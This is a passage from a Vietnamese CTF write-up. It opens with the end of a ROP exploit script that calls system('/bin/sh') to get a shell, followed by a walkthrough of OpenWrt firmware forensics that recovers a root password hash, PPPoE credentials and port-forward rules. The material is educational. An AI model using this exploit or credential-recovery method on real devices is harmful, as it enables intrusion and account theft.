        system =libc.address+<span class="hljs-number">0x0000000000050d60</span>

        payload = binsh+p64(system)+p64(<span class="hljs-number">0x401056</span>)+p64(<span class="hljs-number">0x401066</span>)+p64(<span class="hljs-number">0x401076</span>)+p64(gets)
        sl(p,payload)
        p.interactive()

    <span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
        main()
        <span class="hljs-comment"># HTB{wh0_n3eD5_rD1_wH3n_Y0u_h@v3_rBp!!!_9fa80d7e403478d67531cbbb8eab9925}</span>
</code></pre>
<h2 id="heading-abyss">abyss</h2>
<hr />
<h1 id="heading-forensics">Forensics</h1>
<h2 id="heading-silicon-data-sleuthing">Silicon Data Sleuthing</h2>
<p><strong><em>credit: un1dt5</em></strong></p>
<p>Bài cho 1 file firmware OpenWrt, nhiệm vụ là tìm hiểu thông tin có trong file và trả lời câu hỏi để lấy flag. Mình sử dụng binwalk để extract file firmware</p>
<pre><code class="lang-solidity">binwalk <span class="hljs-operator">-</span>e chal_router_dump.bin
</code></pre>
<h3 id="heading-what-version-of-openwrt-runs-on-the-router-ex-21020">What version of OpenWRT runs on the router (ex: 21.02.0)?</h3>
<p>Có nhiều chỗ để tìm version của firmware OpenWrt. Ở đây mình mở file <code>banner</code> trong <code>/squashfs-root/etc/</code> ra để đọc</p>
<pre><code class="lang-solidity">_______                     ________        __
 <span class="hljs-operator">|</span>       <span class="hljs-operator">|</span>.-<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>.-<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>.-<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>.|  <span class="hljs-operator">|</span>  <span class="hljs-operator">|</span>  <span class="hljs-operator">|</span>.-<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>.|  <span class="hljs-operator">|</span><span class="hljs-keyword">_</span>
 <span class="hljs-operator">|</span>   <span class="hljs-operator">-</span>   <span class="hljs-operator">|</span><span class="hljs-operator">|</span>  <span class="hljs-keyword">_</span>  <span class="hljs-operator">|</span>  <span class="hljs-operator">-</span>__<span class="hljs-operator">|</span>     <span class="hljs-operator">|</span><span class="hljs-operator">|</span>  <span class="hljs-operator">|</span>  <span class="hljs-operator">|</span>  <span class="hljs-operator">|</span><span class="hljs-operator">|</span>   <span class="hljs-keyword">_</span><span class="hljs-operator">|</span><span class="hljs-operator">|</span>   <span class="hljs-keyword">_</span><span class="hljs-operator">|</span>
 <span class="hljs-operator">|</span>_______<span class="hljs-operator">|</span><span class="hljs-operator">|</span>   __<span class="hljs-operator">|</span>_____<span class="hljs-operator">|</span>__<span class="hljs-operator">|</span>__<span class="hljs-operator">|</span><span class="hljs-operator">|</span>________<span class="hljs-operator">|</span><span class="hljs-operator">|</span>__<span class="hljs-operator">|</span>  <span class="hljs-operator">|</span>____<span class="hljs-operator">|</span>
          <span class="hljs-operator">|</span>__<span class="hljs-operator">|</span> W I R E L E S S   F R E E D O M
 <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
 OpenWrt <span class="hljs-number">23.05</span><span class="hljs-number">.0</span>, r23497<span class="hljs-operator">-</span>6637af95aa
 <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
</code></pre>
<h3 id="heading-what-is-the-linux-kernel-version-ex-54143">What is the Linux kernel version (ex: 5.4.143)?</h3>
<p>Cũng có nhiều chỗ để tìm Linux kernel version của firmware OpenWrt như folder trong <code>/lib/modules/</code> hay ở trong <code>/usr/lib/opkg/status</code> (các packages đã cài thường có thông tin về kernel version). Nhưng mình chọn cách đọc Release Notes của OpenWrt phiên bản này cho nhanh :V <a target="_blank" href="https://openwrt.org/releases/23.05/notes-23.05.0">OpenWrt 23.05.0, r23497-6637af95aa</a></p>
<p><img src="https://hackmd.io/_uploads/BJ2nTqnmA.png" alt="image" /></p>
<h3 id="heading-whats-the-hash-of-the-root-accounts-password-enter-the-whole-line-ex-root2jgiaoaai">What's the hash of the root account's password, enter the whole line (ex: <code>root:$2$JgiaOAai....</code>)?</h3>
<p>Nếu tìm trong <code>squashfs-root</code> thì không thể tìm thấy password hash, vì đây chỉ là phân vùng read-only, còn toàn bộ thay đổi về configuragtions được lưu trong phân vùng <code>overlay</code> được định dạng <code>JFFS2</code></p>
<p><img src="https://hackmd.io/_uploads/B1p7bo2m0.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/S1JR-o3X0.png" alt="image" /></p>
<p>Để extract phân vùng này ta dùng jefferson Comment Suggest edit</p>
<p>Sau khi extract thì ta vào <code>/work/work/</code> và đọc file <code>#32</code> (đây là file <code>shadow</code>) là có hash của root account, hoặc có thể giải nén <code>sysupgrade.tgz</code> trong <code>/upper/</code> là có nguyên folder <code>etc</code>. Mình dùng cách thứ 2</p>
<h3 id="heading-what-is-the-pppoe-username">What is the PPPoE username?</h3>
<p>Ở trong <code>/etc/config/</code> file network chứa thông tin này</p>
<pre><code class="lang-solidity">config <span class="hljs-class"><span class="hljs-keyword">interface</span> '<span class="hljs-title">wan</span>'
    <span class="hljs-title">option</span> <span class="hljs-title">device</span> '<span class="hljs-title">wan</span>'
    <span class="hljs-title">option</span> <span class="hljs-title">proto</span> '<span class="hljs-title">pppoe</span>'
    <span class="hljs-title">option</span> <span class="hljs-title">username</span> '<span class="hljs-title">yohZ5ah</span>'
    <span class="hljs-title">option</span> <span class="hljs-title">password</span> '<span class="hljs-title">ae</span>-<span class="hljs-title">h</span>+<span class="hljs-title">i$i</span>^<span class="hljs-title">Ngohroorie</span>!<span class="hljs-title">bieng6kee7oh</span>'
    <span class="hljs-title">option</span> <span class="hljs-title">ipv6</span> '<span class="hljs-title">auto</span>'</span>
</code></pre>
<h3 id="heading-what-is-the-pppoe-password">What is the PPPoE password?</h3>
<p>Nằm cùng với username trong file <code>network</code> trên</p>
<h3 id="heading-what-is-the-wifi-ssid">What is the WiFi SSID?</h3>
<p>Cũng ở folder <code>/config</code>, trong file <code>wireless</code> chứa thông tin WiFi</p>
<h3 id="heading-what-are-the-3-wan-ports-that-redirect-traffic-from-wan-gt-lan-numerically-sorted-comma-sperated-1488844119990">What are the 3 WAN ports that redirect traffic from WAN -&gt; LAN (numerically sorted, comma sperated: 1488,8441,19990)?</h3>
<p>Vẫn trong folder <code>config</code>, file <code>firewall</code> chứa redirect configuration cần tìm</p>
<pre><code class="lang-solidity">config redirect
    option dest <span class="hljs-string">'lan'</span>
    option target <span class="hljs-string">'DNAT'</span>
    option name <span class="hljs-string">'DB'</span>
    option src <span class="hljs-string">'wan'</span>
    option src_dport <span class="hljs-string">'1778'</span>
    option dest_ip <span class="hljs-string">'192.168.1.184'</span>
    option dest_port <span class="hljs-string">'5881'</span>

config redirect
    option dest <span class="hljs-string">'lan'</span>
    option target <span class="hljs-string">'DNAT'</span>
    option name <span class="hljs-string">'WEB'</span>
    option src <span class="hljs-string">'wan'</span>
    option src_dport <span class="hljs-string">'2289'</span>
    option dest_ip <span class="hljs-string">'192.168.1.119'</span>
    option dest_port <span class="hljs-string">'9889'</span>

config redirect
    option dest <span class="hljs-string">'lan'</span>
    option target <span class="hljs-string">'DNAT'</span>
    option name <span class="hljs-string">'NAS'</span>
    option src <span class="hljs-string">'wan'</span>
    option src_dport <span class="hljs-string">'8088'</span>
    option dest_ip <span class="hljs-string">'192.168.1.166'</span>
    option dest_port <span class="hljs-string">'4431'</span>
</code></pre>
<p>Dưới đây là toàn bộ câu hỏi và đáp án của bài:</p>
<pre><code class="lang-solidity"><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
<span class="hljs-operator">|</span>         Title          <span class="hljs-operator">|</span>                                                                                       Description                                                                                        <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
<span class="hljs-operator">|</span> Silicon Data Sleuthing <span class="hljs-operator">|</span>                         In the dust and sand surrounding the vault, you unearth a rusty PCB... You <span class="hljs-keyword">try</span> to read the etched print, it says Open..W...RT, a router<span class="hljs-operator">!</span>                         <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span>                        <span class="hljs-operator">|</span>                                                         You hand it over to the hardware gurus and to their surprise the ROM Chip <span class="hljs-keyword">is</span> intact<span class="hljs-operator">!</span>                                             <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span>                        <span class="hljs-operator">|</span>                                                    They manage to read the data off the tarnished silicon and they give you back a firmware image.                                       |
<span class="hljs-operator">|</span>                        <span class="hljs-operator">|</span>              It<span class="hljs-string">'s now your job to examine the firmware and maybe recover some useful information that will be important for unlocking and bypassing some of the vault'</span>s countermeasures<span class="hljs-operator">!</span> <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>

What version of OpenWRT runs on the router (ex: <span class="hljs-number">21.02</span><span class="hljs-number">.0</span>)
<span class="hljs-operator">&gt;</span> <span class="hljs-number">23.05</span><span class="hljs-number">.0</span>                                                                                                                                                                                        
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

What <span class="hljs-keyword">is</span> the Linux kernel version (ex: <span class="hljs-number">5.4</span><span class="hljs-number">.143</span>)                                                                                                                                                   
